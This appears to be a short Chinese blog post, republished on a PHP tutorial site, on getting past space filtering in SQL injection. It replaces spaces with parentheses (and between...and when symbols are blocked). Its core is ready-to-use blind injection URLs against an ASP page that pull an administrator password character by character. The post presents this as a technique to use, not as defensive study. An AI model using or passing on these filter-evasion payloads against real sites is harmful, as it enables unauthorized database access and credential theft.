Heim > Datenbank > MySQL-Tutorial > Hauptteil

【托管服务qin】SQL数据库-()括号代替空格继续注入_MySQL

WBOY
Freigeben: 2016-06-01 13:52:06
Original
1695 Leute haben es durchsucht

对于SQL语句,大家还都习惯于其的空格,比如select id from [name],如果中间没有了空格,那就成了selectidfrom[name], 一滩糊涂!

       对于空格,有许多替换方式,比如TAB空格,SQL数据库中的/**/,除了上面所说到几个空格的替代方法外,我发现用()括号在SQL中一样可以运行,比如上面的语句,就可以写成,select(id)from[name],有括号分隔,可以正常执行。

      举个例 子说一下,我们得到一个注入点:jmdcw.asp?name=aa'and 1=1 and ''=',如果替换其中的1=1为查询管理员的密码的语句:

(select asc(mid(pass,1,1)) from [name] where id=1)>49。
如何用空格呢?其实可以写成这样的:

jmdcw.asp?name=aa'and((select(asc(mid(pass,1,1)))from[name]where(id=1))>49)and''='

如果屏蔽了符号,则用between…and…,语句是:

jmdcw.asp?name=aa'and((select(asc(mid(pass,1,1)))from[name]where(id=1))between(40)and(50))and''='

     对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?

大家说呢?

广州的朋友可以加我一起学习交流!谢谢:QQ:675471018
Verwandte Etiketten:
Quelle:php.cn
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage
Über uns Haftungsausschluss Sitemap
Chinesische PHP-Website:Online-PHP-Schulung für das Gemeinwohl,Helfen Sie PHP-Lernenden, sich schnell weiterzuentwickeln!